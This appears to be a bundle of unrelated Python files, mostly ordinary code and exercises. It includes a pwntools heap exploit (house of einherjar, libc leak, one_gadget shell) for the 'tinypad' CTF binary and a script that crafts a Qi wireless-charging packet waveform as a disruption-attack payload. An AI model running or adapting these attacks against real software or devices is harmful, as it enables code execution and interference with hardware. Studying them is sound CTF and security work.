#!/usr/bin/env python3

# REF: https://codereview.stackexchange.com/questions/247368/depth-first-search-using-stack-in-python

from typing import Any, Iterator
from collections import deque

Stack = list[Any]

def depth_first_search(graph, start) -> Iterator:
    stack: Stack = [start]
    visited = set()
    while stack:
        vertex = stack.pop()
        if vertex in visited:
            continue
        yield vertex
        visited.add(vertex)
        for neighbor in graph[vertex]:
            stack.append(neighbor)

def breadth_first_search(graph, start) -> Iterator:
    queue = deque()
    queue.append(start)
    visited = set()
    while queue:
        vertex = queue.popleft()
        if vertex in visited:
            continue
        yield vertex
        visited.add(vertex)
        for neighbor in graph[vertex]:
            queue.append(neighbor)

def main():
    matrix = {
        1: [2, 3],
        2: [4, 5],
        3: [5],
        4: [6],
        5: [6],
        6: [7],
        7: []
    }
    print("dfs")
    dfs_path = depth_first_search(matrix, 1)
    for e in dfs_path:
        print(e)
    print("bfs")
    bfs_path = breadth_first_search(matrix, 1)
    for e in bfs_path:
        print(e)

if __name__ == '__main__':
    main()


from django.shortcuts import render
from django_web.models import ArtiInfo
from django.core.paginator import Paginator

def index(request):
    limit = 10
    arti_info = ArtiInfo.objects.all()
    paginatior = Paginator(arti_info,limit)
    page = request.GET.get('page',1)
    loaded = paginatior.page(page)

    name_list = []
    for i in ArtiInfo.objects():
        name_list.append(i['use_name'])
        name_index = list(set(name_list))

    context = {
        'ArtiInfo':loaded,
        'counts':arti_info.count(),
        'count':len(name_index)
        # 'date':arti_info[0].date,
        # 'door_name':arti_info[0].door_name,
        # 'use_name':arti_info[0].use_name,
        # 'use_type':arti_info[0].use_type,
        # 'door_open':arti_info[0].door_open,
        # 'user_id':arti_info[0].user_id,
        # 'door_adress':arti_info[0].door_adress,
        # 'car_id':arti_info[0].car_id
    }
    return render(request,'index_item.html',context)

def chart(request):
    arti_info = ArtiInfo.objects.all()

    context = {
        "counts":arti_info.count,
        'counts_ls': arti_info.filter(use_name='娄尚').count,
        'counts_ln': arti_info.filter(use_name='李楠').count,
        'counts_lj': arti_info.filter(use_name='刘军').count,
        'counts_mj': arti_info.filter(use_name='孟佳').count,
        'counts_dt': arti_info.filter(use_name='党腾').count,
        'counts_zh': arti_info.filter(use_name='赵辉').count,
        'counts_xxm': arti_info.filter(use_name='徐晓梦').count,
        'counts_ysc': arti_info.filter(use_name='杨世成').count,
        'counts_wzc': arti_info.filter(use_name='汪志龙').count,
        'counts_szq': arti_info.filter(use_name='吴志强').count,
        'counts_wzy': arti_info.filter(use_name='吴之遥').count,
        'counts_lhy': arti_info.filter(use_name='刘海洋').count,
        'counts_zx': arti_info.filter(use_name='朱雪').count,
        'counts_zhz': arti_info.filter(use_name='甄重').count,

        'date':arti_info[0].date,
        'door_name':arti_info[0].door_name,
        'use_name':arti_info[0].use_name,
        'use_type':arti_info[0].use_type,
        'door_open':arti_info[0].door_open,
        'user_id':arti_info[0].user_id,
        'door_adress':arti_info[0].door_adress,
        'car_id':arti_info[0].car_id
    }
    return render(request,'index_chart.html',context)

def chart_someone(request):
    arti_info = ArtiInfo.objects.all()
    context = {

    }
    return render(request,'chart_someone.html',context)

def aboutus(request):
    context = {

    }
    return render(request,'about_us.html',context)

def location(request):
    context = {

    }
    return render(request,'location.html',context)

def other(request):
    context = {

    }
    return render(request,'other.html',context)

def other_menu(request):
    context = {

    }
    return render(request,'other_menu.html',context)
def china(request):
    arti_area = ArtiInfo.objects.all()
    context = {
        'citys_ln': arti_area.filter(use_name='北京').count,
        'citys_lj': arti_area.filter(use_name='河北').count,
        'citys_mj': arti_area.filter(use_name='河南').count,
        'citys_dt': arti_area.filter(use_name='安徽').count,
        'citys_zh': arti_area.filter(use_name='赵辉').count,
        'citys_xxm': arti_area.filter(use_name='徐晓梦').count,
        'citys_ysc': arti_area.filter(use_name='杨世成').count,
        'citys_wzc': arti_area.filter(use_name='汪志龙').count,
        'citys_szq': arti_area.filter(use_name='吴志强').count,
        'citys_wzy': arti_area.filter(use_name='吴之遥').count,
        'citys_lhy': arti_area.filter(use_name='刘海洋').count,

        'date': arti_area[0].date,
        'door_name': arti_area[0].door_name,
        'use_name': arti_area[0].use_name,
        'use_type': arti_area[0].use_type,
        'door_open': arti_area[0].door_open,
        'user_id': arti_area[0].user_id,
        'door_adress': arti_area[0].door_adress,
        'car_id': arti_area[0].car_id
    }
    return render(request,'china-map.html',context)

def chart1(request):
    arti_info = ArtiInfo.objects.all()
    context = {
        'counts': arti_info.count,
        'counts_ls': arti_info.filter(use_name='娄尚').count,
        'counts_ln': arti_info.filter(use_name='李楠').count,
        'counts_lj': arti_info.filter(use_name='刘军').count,
        'counts_mj': arti_info.filter(use_name='孟佳').count,
        'counts_dt': arti_info.filter(use_name='党腾').count,
        'counts_zh': arti_info.filter(use_name='赵辉').count,
        'counts_xxm': arti_info.filter(use_name='徐晓梦').count,
        'counts_ysc': arti_info.filter(use_name='杨世成').count,
        'counts_wzc': arti_info.filter(use_name='汪志龙').count,
        'counts_szq': arti_info.filter(use_name='吴志强').count,
        'counts_wzy': arti_info.filter(use_name='吴之遥').count,
        'counts_lhy': arti_info.filter(use_name='刘海洋').count,
        'counts_zx': arti_info.filter(use_name='朱雪').count,

        'date': arti_info[0].date,
        'door_name': arti_info[0].door_name,
        'use_name': arti_info[0].use_name,
        'use_type': arti_info[0].use_type,
        'door_open': arti_info[0].door_open,
        'user_id': arti_info[0].user_id,
        'door_adress': arti_info[0].door_adress,
        'car_id': arti_info[0].car_id
    }
    return render(request, 'index_chart1.html', context)


# -*- coding:utf-8 -*-
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'

context.terminal = ['tmux', 'splitw', '-h']
name = './tinypad'
r = process(name)

libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def attach_and_debug():
    print(str(r.proc.pid))
    gdb.attach(r, """
    echo  br  *0x0000000000400e67\\n
    heap
    echo x/40gx 0x603000\\n
    x/50gx 0x602040
    """);
    print(str(r.proc.pid))

    r.interactive()

def add(size, data):
    r.recvuntil("(CMD)>>> ")
    r.sendline('a')
    r.recvuntil("(SIZE)>>> ")
    r.sendline(str(size))
    r.recvuntil("(CONTENT)>>> ")
    r.send(data)

def d(index):
    r.recvuntil("(CMD)>>> ")
    r.sendline('d')
    r.recvuntil("(INDEX)>>> ")
    r.sendline(str(index))

def edit(index, data):
    r.recvuntil("(CMD)>>> ")
    r.sendline('e')
    r.recvuntil("(INDEX)>>> ")
    r.sendline(str(index))
    r.recvuntil("(CONTENT)>>> ")
    r.send(data)
    r.recvuntil("(Y/n)>>")
    r.sendline("Y")

add(0x88,'A\n')
add(0xf8,'B\n')
add(0x80,'C\n')
add(0x80,'D'*0x80+'\n')

d(3)
d(1)

# 1. leak
r.recvuntil(" #   INDEX: 1")
r.recvuntil(" # CONTENT: ")
heap_base = u64(r.recvuntil('\n').strip('\x0a').ljust(8, '\0'))-0x120-0x70
print("heap_base: ", hex(heap_base))

r.recvuntil(" #   INDEX: 3")
r.recvuntil(" # CONTENT: ")
libc_base = u64(r.recv(6).ljust(8, '\0')) -  0x3c4b78
print("libc_base: ", hex(libc_base))

# attach_and_debug();pause()

# pwndbg> p/x 0x7ffff7dd3f38- 0x7ffff7a0d000
# $3 = 0x3c6f38

malloc_hook = 0x3c4b10 + libc_base
environ = 0x3c6f38+libc_base

# 2. house_of_einherjar

offset = heap_base+0x90-0x602060

payload = ''
payload += 'a'*16
payload += 'a'*16
payload += 'a'*8 +  p64(offset)
payload += p64(0x602060) +  p64(0x602060)
payload += p64(0x602060) +  p64(0x602060)
edit(4, payload+'\n')

add(0x80,'c\n') # memo1(old3)

payload = ''
payload += '1'*0x80
payload += p64(offset)
add(0x88,payload +'\n') # memo 3(old 1)

d(2)
# attach_and_debug();pause()

payload = ''
payload += p64(0) +  p64(0)
payload += p64(0) +  p64(0)
payload += p64(0) +  p64(0x111)
edit(4, payload+'\n')

payload = ''
payload += 0xd0*'a'
payload += 'a'*8 + p64(environ)
payload += 'a'*8 + p64(environ)
payload += 'a'*8 + p64(0x602140)
add(256, payload+'\n')

r.recvuntil(" #   INDEX: 1")
r.recvuntil(" # CONTENT: ")
environ_addr = u64(r.recv(6).ljust(8, '\0'))
main_ret_addr = environ_addr- 0xf0
print("environ_addr: ", hex(environ_addr))
print("main_ret_addr: ", hex(main_ret_addr))
# attach_and_debug();pause()
payload = 'D'*8 +p64(main_ret_addr).strip('\0')
# payload = 'D'*8 +'\x18\xdc\xff\xff\xff\x7f'
# payload = 'D'*8 +'\xe8\xdb\xff\xff\xff\x7f'
# payload = 'D'*8 +'AB'
# payload += 30*p64(0x41)
# payload += 31*8*'A'+p64(main_ret_addr)
edit(3, payload+'\n')

one_gadget_addr = libc_base + 0x45216

edit(1, p64(one_gadget_addr)+'\n')

attach_and_debug()


import numpy as np
import pandas as pd

import torch

from t_alg import mttcrp, mttcrp1, get_elem_deriv_tensor, factors_to_tensor, gcp_grad, multi_ind_to_indices, indices_to_multi_ind

def gcp_grad(coo, val, shape, a, b, l2, loss_function, loss_function_grad, device):
    """
        GCP loss function and gradient calculation.
        All the tensors have the same coordinate set: coo_tensor.
    """

    # Construct sparse kruskal tensor
    kruskal_val = torch.sum((a[coo[:,0], :] * b[coo[:,1], :] * a[coo[:,2], :]),1)
    #factors_to_tensor(coo_tensor, vals, a, b, c)

    # Calculate mean loss on known entries
    loss = loss_function(val, kruskal_val)
    # Compute the elementwise derivative tensor
    deriv_tensor_val = loss_function_grad(val, kruskal_val)

    #print ("in qcp_grad in deriv_tensor_val ", deriv_tensor_val)
    # Calculate gradients w.r.t. a, b, c factor matrices
    g_a = mttcrp1(coo, deriv_tensor_val, shape, 0, b, a, device)
    g_b = mttcrp1(coo, deriv_tensor_val, shape, 1, a, a, device)
    g_c = mttcrp1(coo, deriv_tensor_val, shape, 2, a, b, device)

    #print ("\n\n")

    # Add L2 regularization
    if l2 != 0:
        g_a += l2 * a[coo[:,0], :]
        g_b += l2 * b[coo[:,1], :]
        g_c += l2 * a[coo[:,2], :]

    return loss, g_a, g_b, g_c


# This class implements ID3 Decision Tree from Quinlan 1986

import numpy as np
#from PIL import Image
import os
from scipy.stats import entropy
import pandas as pd

class ID3(object):

    def __init__(self):
        self.chosen_attribute = None
        self.is_leaf = False
        self.subtree = {}

    # Examples are the training examples
    # Target_attribute is the attribute to be predicted
    # Attributes is a list of other attirbutes to be tested by decision tree
    # Returns a decision tree
    def fit(self, examples, target_attribute, attributes):

        assert isinstance(examples, pd.core.frame.DataFrame), 'Argument of wrong type!'
        assert isinstance(target_attribute, str), 'Argument of wrong type!'
        assert isinstance(attributes, list), 'Argument of wrong type!'

        print("=================")
        print("creating tree - attribute list = {}".format(attributes))

        # if all examples are <val>, return the single-node tree with that label = VAL
        if examples[target_attribute].nunique() == 1:
            self.is_leaf = True
            self.class_value = examples[target_attribute][0]
            return self

        # if attributes is empty, return the single-node tree with label = most common att value
        if len(attributes) == 0:
            self.is_leaf = True
            self.class_value = examples[target_attribute].value_counts().index[0]
            return self

        # find the attribute that best classifies examples
        gain_by_att = {}

        for att in attributes:
            print("----------------------------")
            print(att)
            count = examples[att].count()

            gain = 0.0
            for attval in examples[att].unique():
                print("  " + attval)

                # Create a subset data frame where attribute = att value x
                df1 = examples[att] == attval
                df2 = examples[df1]
                print(df2)
                subcount = df2[att].count()
                print("     " + str(subcount) + " of " + str(count))

                # Calculate entropy on the target attribute
                value,counts = np.unique(df2[target_attribute], return_counts=True)
                entr = entropy(counts, base=2)
                print("     entropy = " + str(entr))

                # Accumulate gain (weighted) - the second term of equation
                gain += (subcount/count)*entr

            gain_by_att[att] = gain

        # find the attribute with greatest gain
        print(gain_by_att)
        self.chosen_attribute = min(gain_by_att, key=gain_by_att.get)
        print(self.chosen_attribute)

        # remove the chosen attribute
        attributes.remove(self.chosen_attribute)

        # for each value of attribute - add a new subtree
        for attval in examples[self.chosen_attribute].unique():

            # Create a data frame with elements where attribute = att value x
            df1 = examples[self.chosen_attribute] == attval
            df2 = examples[df1]

            # check to confirm there is at least one example in the data frame
            count = df2[self.chosen_attribute].count()
            assert count>0, print("blast - there are no examples in the data frame for attval {}".format(attval))

            self.subtree[attval] = ID3()
            self.subtree[attval].fit(examples, self.chosen_attribute, attributes)

    def traverse(self, indent):
        print("{}{} {}".format(indent, self.is_leaf, self.chosen_attribute))
        for subroot in self.subtree:
            self.subtree[subroot].traverse(indent+"  ")


#Write a program to reverse an array or string

###########################################
# function to reverse the list/array
#
# Arguments used
# listOne : The list to be reversed
# start : The starting index of the list
# end : The ending index of the list
###########################################
def reverseArray(listOne, start, end):
    while start < end:
        listOne[start], listOne[end] = listOne[end], listOne[start]
        start +=1
        end -=1

# Driver Code

# Store the inputs in a list called listOne
listOne = []

# Ask the user to enter the number of elements in the list
var = int(input())

# Ask the user to enter the elements of the list
for i in range(0, var):
    listOne.append(input())

# Reverse the list
reverseArray(listOne, 0, len(listOne)-1)

# Print the reversed list
print(listOne)


import logging
g_logger = logging.getLogger()
for h in g_logger.handlers:
    g_logger.removeHandler(h)

g_logger.setLevel(logging.DEBUG)
handler = logging.StreamHandler()
format_str = '[%(asctime)s] [%(levelname)s] [%(threadName)s]: %(message)s'
formatter = logging.Formatter(format_str, datefmt='%d/%m/%Y %I:%M:%S')
handler.setFormatter(formatter)
g_logger.addHandler(handler)


from django.urls import path

from . import views

urlpatterns = [
    path("instance/", views.AuthInstanceView.as_view(), name="open.auth_instance"),
    path("path/", views.AuthPathView.as_view(), name="open.auth_path"),
    path("batch_instance/", views.AuthBatchInstanceView.as_view(), name="open.auth_batch_instance"),
    path("batch_path/", views.AuthBatchPathView.as_view(), name="open.auth_batch_path"),
    path(
        "resource_creator_action/",
        views.ResourceCreatorActionView.as_view(),
        name="open.grant_resource_creator_action",
    ),
    path(
        "batch_resource_creator_action/",
        views.BatchResourceCreatorActionView.as_view(),
        name="open.grant_batch_resource_creator_action",
    ),
    path(
        "resource_creator_action_attribute/",
        views.ResourceCreatorActionAttributeView.as_view(),
        name="open.grant_resource_creator_action_attribute",
    ),
]


from bottle import route, run, template
from datetime import date
import random

PAGES = [
    ('today', '今日の日付'),
    ('calc/3', '3の2乗と2の3乗'),
    ('calc/5', '5の2乗と2の5乗'),
    ('colors', 'for文で色のリスト'),
    ('morecolors', 'コード埋め込みで乱数'),
    ('show1/2', 'if文、id2'),
    ('show1/4', 'if文、id4'),
    ('show2/0', 'if文埋め込み、id3'),
    ('show2/5', 'if文埋め込み、id4')
]

PAGES_TEMPLATE = """

第3章 テンプレート

サンプルページリスト

%for page in PAGES:

{{page[1]}}

%end

"""

@route('/tplt/today')
def showtoday():
    return template('今日の日付:{{today}}', today = date.today())

@route('/tplt/calc/')
def calc(a):
    a = int(a)
    calctp = """

{{a}}の2乗は{{sq_a}}

2の{{a}}乗は{{pw_a}}

    """
    return template(calctp, a = a, sq_a = a*a, pw_a = 2**a)

@route('/tplt/colors')
def showcolors():
    colors = ['赤', '黄', '青', '緑', '白', '黒', '茶']
    content = """

カラーリスト

            %for color in colors :

{{color}}

            %end

        おすすめの色は{{thiscolor}}
    """
    return template(content, colors = colors, thiscolor = random.choice(colors))

@route('/tplt/morecolors')
def showmore():
    content = """
        %import random
        %more = ['橙', '灰', '紫', '金', '銀']
        おすすめの色は{{random.choice(more)}}
    """
    return template(content)

@route('/tplt/show1/<id>')
def show_product1(id):
    products = ['Tシャツ', 'ズボン', 'ワンピース', 'スーツ']
    id = int(id)
    content = 'お探しの商品は
'
    if(id < len(products)):
        return template(content + '{{product}}ですね', product = products[id])
    return content + 'ありません'

@route('/tplt/show2/<id>')
def show_product2(id):
    products = ['フライパン', 'まな板', '包丁', 'やかん']
    id = int(id)
    content = """
        お探しの商品は

        %if id < len(products):
            {{products[id]}}ですね
        %else:
            ありません
        %end
    """
    return template(content, id = id, products = products)

@route('/tplt')
def index():
    return template(PAGES_TEMPLATE, PAGES=PAGES)

run(host='localhost', port=8782, reloader=True)


# -*- coding: utf-8 -*-
"""
Created on Wed Nov  2 18:30:25 2022

Fall 2022 Projects

@author: c.s.francis
"""

def getInputs():
    en = input("TELL ME WHO YOU ARE!!! ")
    hw = float(input("GIMME YOUR HOURS!!!! "))
    rop = float(input("HOW MUCH DO YOU MAKE!!!! "))
    return en, hw, rop

def calculatePay(hoursworked, rateofpay):
    if hoursworked < 40:
        grosspay = hoursworked * rateofpay
    else:
        grosspay = (hoursworked-40) * rateofpay * 1.5 + 40 * rateofpay

    taxdeduction = grosspay * 0.15

    netpay = grosspay - taxdeduction

    return grosspay, taxdeduction, netpay

nextuser = "yes"

print("Name\t | Gross Pay \t | Taxes \t\t | Net Pay")
print("--------------------------------------------")

while nextuser.lower() == "yes":

    employeename, hoursworked, rateofpay = getInputs()

    grosspay, taxdeduction, netpay = calculatePay(hoursworked, rateofpay)

    print("Name\t | Gross Pay \t | Taxes \t\t | Net Pay")
    print("--------------------------------------------")
    print(f"{employeename} \t | {grosspay} \t\t | {taxdeduction} \t | {netpay}")
    print()
    print()

    nextuser = input("Is there somebody else? Enter \"Yes\" or \"No\": ")

###########################  WHITE SPACE FOR SCROLLING  ############


import bpy,bmesh
from bpy.props import BoolProperty, PointerProperty
import blf
import bpy_extras.view3d_utils

bl_info = {
    "name": "indexChecker",
    "author": "katsumi",
    "version": (1, 0),
    "blender": (2, 81, 0),
    "location": "3Dビュー > プロパティパネル > IDを表示",
    "description": "オブジェクトの頂点・辺・面のIDを描画するアドオン",
    "warning": "",
    "support": "TESTING",
    "wiki_url": "",
    "tracker_url": "",
    "category": "3D View"
}

translation_dict = {
    "en_US" :
        {("*", "Display index") : "Display index",
        ("*", "start") : "start",
         ("*", "stop") : "stop"},

    "ja_JP" :
        {("*", "Display index") : "indexを表示",
         ("*", "start") : "開始",
         ("*", "stop") : "終了"
         }}
# ------------------------------------------------------------------------
#   operator  buttun
# ------------------------------------------------------------------------
class Render_OT_Text(bpy.types.Operator):

    bl_idname = "view_3d.render_text"
    bl_label = "indexを表示"
    bl_description = "indexを表示します"

    __handle = None           # 描画関数ハンドラ

    def __handle_add(self, context):
        if Render_OT_Text.__handle is None:
            # 描画関数の登録
            Render_OT_Text.__handle = bpy.types.SpaceView3D.draw_handler_add(
                Render_OT_Text.__render, (self, context), 'WINDOW', 'POST_PIXEL')

    def __handle_remove(self, context):
        if Render_OT_Text.__handle is not None:
            # 描画関数の登録を解除
            bpy.types.SpaceView3D.draw_handler_remove(
                Render_OT_Text.__handle, 'WINDOW'
            )
            Render_OT_Text.__handle = None

    @staticmethod
    def __render_text(size, x, y, s ):
        # フォントサイズを指定
        blf.size(0, size, size)
        # 描画位置を指定
        blf.position(0, x, y, 0)
        # テキストを描画
        blf.draw(0, s)

    @staticmethod
    def __get_region(context, area_type, region_type):
        region = None
        area = None

        # 指定されたエリアを取得する
        for a in context.screen.areas:
            if a.type == area_type:
                area = a
                break
        else:
            return None
        # 指定されたリージョンを取得する
        for r in area.regions:
            if r.type == region_type:
                region = r
                break

        return region

    @staticmethod
    def __render(self, context):
        if bpy.context.mode != "EDIT_MESH":
            #開始途中でオブジェクトモードにした時にblender停止を防ぎボタンを開始に戻す
            sc = context.scene
            sc.rt_running = False
            context.area.tag_redraw()
            return
        if len(bpy.context.space_data.region_quadviews):
            return
        obj = bpy.context.view_layer.objects.active
        bpy.ops.object.mode_set(mode='EDIT')
        bm: bmesh.types.BMesh = bmesh.from_edit_mesh(obj.data)
        r = bpy.context.region
        rv3d = bpy.context.space_data.region_3d
        for i in bm.verts:
            if i.select:
                p = bpy_extras.view3d_utils.location_3d_to_region_2d(
                    r, rv3d, obj.matrix_world @ i.co)
                if p is not None:
                    Render_OT_Text.__render_text(
                    30, p.x, p.y, f"{i.index}"
                )
        for i in bm.edges:
            if i.select:
                cn = (i.verts[0].co+i.verts[1].co)/2
                p = bpy_extras.view3d_utils.location_3d_to_region_2d(
                    r, rv3d, obj.matrix_world @ cn)
                if p is not None:
                    Render_OT_Text.__render_text(
                    30, p.x, p.y, f"{i.index}"
                    )
        for i in bm.faces:
            if i.select:
                cn = i.calc_center_median()
                p = bpy_extras.view3d_utils.location_3d_to_region_2d(
                    r, rv3d, obj.matrix_world @ cn)
                if p is not None:
                    Render_OT_Text.__render_text(
                    30, p.x, p.y, f"{i.index}"
                    )

    def invoke(self, context, event):
        sc = context.scene
        if context.area.type == 'VIEW_3D':
            #obj_mode = bpy.context.mode
            # 開始ボタンが押された時の処理
            if sc.rt_running is False:
                global obj_mode
                obj_mode = bpy.context.mode
                if obj_mode != "EDIT_MESH":
                    bpy.ops.object.mode_set(mode='EDIT')
                sc.rt_running = True
                self.__handle_add(context)
                print("indexの表示を開始しました。")
            # 終了ボタンが押された時の処理
            else:
                if obj_mode != "EDIT_MESH":
                    bpy.ops.object.mode_set(mode='OBJECT')
                sc.rt_running = False
                self.__handle_remove(context)
                print("indexの表示を終了しました。")
            # 3Dビューの画面を更新
            if context.area:
                context.area.tag_redraw()
            return {'FINISHED'}
        else:
            return {'CANCELLED'}

# ------------------------------------------------------------------------
#   addon - panel -- visible in objectmode
# ------------------------------------------------------------------------
class OBJECT_PT_RT(bpy.types.Panel):
#
    bl_label = bpy.app.translations.pgettext("Display index")
    bl_space_type = "VIEW_3D"
    bl_region_type = "UI"
#
    def draw(self, context):
        sc = context.scene
        layout = self.layout
        # 開始/停止ボタンを追加
        if sc.rt_running is False:
            layout.operator(Render_OT_Text.bl_idname, text=bpy.app.translations.pgettext("start"), icon="PLAY")
        else:
            layout.operator(Render_OT_Text.bl_idname, text=bpy.app.translations.pgettext("stop"), icon="PAUSE")

# プロパティの作成
def init_props():
    sc = bpy.types.Scene
    sc.rt_running = BoolProperty(
        name="実行中",
        description="実行中か？",
        default=False
    )

# プロパティの削除
def clear_props():
    sc = bpy.types.Scene
    del sc.rt_running

# ------------------------------------------------------------------------
# register and unregister
# ------------------------------------------------------------------------

def register():
    bpy.app.translations.register(__name__, translation_dict)
    bpy.utils.register_class(OBJECT_PT_RT)
    bpy.utils.register_class(Render_OT_Text)
    init_props()

    print("アドオン「indexChecker」が有効化されました。")

def unregister():
    clear_props()
    bpy.utils.unregister_class(Render_OT_Text)
    bpy.utils.unregister_class(OBJECT_PT_RT)
    bpy.app.translations.unregister(__name__)
    print("アドオン「indexChecker」が無効化されました。")

if __name__ == "__main__":
    register()


# Create a custom qi packet wavefrom that can be loaded onto a waveform generator and used as an injection payload for qi
# charging disruption attacks

import numpy as np
import matplotlib.pyplot as plt
import binascii

PREAMBLE_BIT_SIZE = 16
CLOCK_FREQUENCY = 150
SAMPLING_RATE = 44100

def generate_packet():
    # craft a power control packet that uses the qi protocol

    # packet preamble (11-25 bits all set to 1)
    temp = 0xfffffff
    preamble = [1] * PREAMBLE_BIT_SIZE # x bit preamble
    print(f'Preamble: {preamble}')

    # generate header
    # EPT End Power Transfer Power control 1
    ept_packet_header = 0x02
    # CE Control Error Packet control 1
    ce_packet_header = 0x03
    header_hex = ept_packet_header
    header_bin = bin(header_hex)[2:]
    print(f'Header: {header_bin}')

    # generate packet message
    data_message_hex = 0x2357 # Example data message as hex
    ce_data_message_hex = 0x0000 # Example data message as hex
    ce_data_message_hex_deplete = 0x049c96 #attempt to request -100 power
    ept_data_message_hex = 0x0000

    selected_data_message_hex = ce_data_message_hex
    data_message_bin =  bin(selected_data_message_hex)[2:]
    data_bin_arr = [data_message_bin[i:i+8].zfill(8) for i in range(0, len(data_message_bin), 8)]
    print(f'Data Message: {data_bin_arr}')

    # generate packet checksum
    # checksum is calculated by xoring the header and each byte of the data message
    for byte in data_bin_arr:
        checksum = int(header_bin,2) ^ int(byte,2)
    print(f'Checksum: {bin(checksum)[2:]}')

    #assemble packet
    packet = preamble + [int(x) for x in header_bin] + [int(x) for x in data_message_bin] + [int(x) for x in bin(checksum)[2:]]
    print(f'Packet: {packet}')

    # Convert binary to list of integers
    data = [int(x) for x in data_message_bin]
    print(data)

    # Existing signal data
    data = [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,  0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,]

    #return packet
    return data

def generate_waveform():
    # Define the clock frequency and sample rate
    clock_frequency = CLOCK_FREQUENCY
    sampling_rate = SAMPLING_RATE

    data = generate_packet()

    # Define the time vector
    t = np.linspace(0, len(data)/clock_frequency, int(sampling_rate/clock_frequency*len(data)), endpoint=False)

    # Create the waveform
    waveform = np.zeros(t.shape)
    for i in range(len(data)):
        if data[i] == 1:
            waveform[int(i*sampling_rate/clock_frequency):int((i+0.5)*sampling_rate/clock_frequency)] = 15
            waveform[int((i+0.5)*sampling_rate/clock_frequency):int((i+1)*sampling_rate/clock_frequency)] = 14
        else:
            if i % 2 == 0:
                waveform[int(i*sampling_rate/clock_frequency):int((i+1)*sampling_rate/clock_frequency)] = 15
            else:
                waveform[int(i*sampling_rate/clock_frequency):int((i+1)*sampling_rate/clock_frequency)] = 14

    # Export as csv
    np.savetxt("crafted_waveform.csv", waveform, delimiter=",")

    return waveform, t

def graph_waveform():
    waveform, t = generate_waveform()

    # Plot the waveform
    plt.plot(t, waveform)
    plt.xlabel('Time (s)')
    plt.ylabel('Amplitude (V)')
    plt.ylim([0,20])
    plt.title('Signal waveform')
    plt.show()

def main():
    #generate_waveform()
    graph_waveform()

if __name__ == "__main__":
    main()


#if语句，简单实例：
ShouJ = ['vivo','huawei','xiaomi','iphone','sanxing',]     #创建一个列表
for shouj in ShouJ:                       #循环遍历列表
    if shouj == 'huawei':                 #是否等于华为
        print(shouj.upper())              #等于的话全部大写输出
    else:                                  #其他的则只有首字母大写
        print(shouj.title())

'''
每条if语句的核心都是一个值为True或Flase的表达式。
这种表达式被称为条件测试。
python根据条件测试的值为True还是Flase来决定是否执行if语句中的代码。
如果条件测试的值为True，python就执行紧跟在if语句后面的代码；如果为Flase，python就忽略这些代码
1.可以使用and检查多个条件，只有多个条件都为TRUE时才会执行if中的代码
2.可以使用or检查多个条件，只要有一个条件满足就可通过，只有全部为flase的时候测试才会fail
3.可以使用in来检查某个值是否在某个列表内
4.可以使用not in 来检查某个值是否不在某个列表内
'''
iteam = ['li','qingshan','wuhu']
for i in iteam:
    if 'qingshan' in iteam:
        print("芜湖~！")
    if 'cool' not in iteam:
        print("啧！")

for i in range(3):
    a = 9
    print(a)

'''
布尔表达式：它不过是条件测试的别名。与条件表达式一样，布尔表达式的结果要么为True，要么为False。
布尔值通常用于记录条件，如用户是否可以编辑网站的特定内容：
在跟踪程序状态或程序中重要的条件方面，布尔值提供了一种高效的方式。
'''

'''
简单的if语句
最简单的if语句只有一个测试和一个操作：
if  条件语句：
    do   something
在第一行中，可以包含任何条件测试，而在紧跟在测试后面的缩进代码块里，可执行任何操作

if-else：
在条件测试通过了时执行一个操作，没有通过时执行另一个操作。
在这种情况可以使用if，else语句
'''

arge = 14
if arge >=15:
    print(1)
else:
    print(2)

'''
if-elif-else
这个格式用来处理多个条件测试
如果if不符合则判断elif的条件，如果elif不符合则判断else的条件
if和else在一个条件测试中只能分别存在一个，但是elif可以存在多个
Python并不要求if-elif结构后面必须有else代码块。在有些情况下，else代码块很有用；而
在其他一些情况下，使用一条elif语句来处理特定的情形更清晰：
else是一条包罗万象的语句，只要不满足任何if或elif中的条件测试，其中的代码就会执行，
这可能会引入无效甚至恶意的数据。如果知道最终要测试的条件，应考虑使用一个elif代码块来
代替else代码块。这样，你就可以肯定，仅当满足相应的条件时，你的代码才会执行。
'''

arge1 =  19
if arge1 < 19:
    print()
elif arge1 >= 19  and arge1 < 60:
    print()
elif arge1 >=60 and arge1 <90:
    print()
else:
    print()

'''
if-elif-else结构功能强大，但仅适合用于只有一个条件满足的情况：遇到通过了的测试后，
Python就跳过余下的测试。这种行为很好，效率很高，让你能够测试一个特定的条件。
然而，有时候必须检查你关心的所有条件。在这种情况下，应使用一系列不包含elif和else
代码块的简单if语句。在可能有多个条件为True，且你需要在每个条件为True时都采取相应措施
时，适合使用这种方法。
'''
tang = ['杜甫','李白','李商隐']
if '杜甫' in tang:
    print()
if '李白' in tang:
    print()
if '李商隐' in tang:
    print()
print("盛唐")

if '杜甫' in tang:
    if '李白' in tang:
        if '李商隐' in tang:
            print('盛唐')

k = ['1','2','3','李白']
if k:
    print(1)
else:
    print(2)

for i in k:
    if i in tang:
        print(1)
    else:
        print(2)


import yaml
import os
from sdg.inputs import InputWordMeta

source_language = 'en'

meta_input = InputWordMeta(path_pattern='meta/*.docm', git=False)
meta_input.execute(None)

for indicator_id in meta_input.indicators:
    filename = os.path.join('translations', 'meta', source_language, indicator_id) + '.yml'
    with open(filename, 'w', encoding='utf-8') as stream:
        yaml.dump(meta_input.indicators[indicator_id].meta, stream, allow_unicode=True)


def findReminder(arr, n):
    m = 1
    for i in range(0, len(arr)):
        m *= arr[i] % n
       # print(m)
    # r = m % n
    return m % n   # return r... this results of overflow
                   # b/se if we multiply n nums and the result is oveflowed

arr = [100, 10, 5, 25, 35, 14]
for i in range(0, len(arr)):
    print(arr[i], end=" ")
print(findReminder(arr, 11))

find remainder of array multiplication.py


import sys
_module = sys.modules[__name__]
del sys
datasets = _module
evaluation = _module
evaluation_old = _module
layers = _module
losses = _module
main = _module
samplers = _module
visualizer = _module

from _paritybench_helpers import _mock_config, patch_functional
from unittest.mock import mock_open, MagicMock
from torch.autograd import Function
from torch.nn import Module
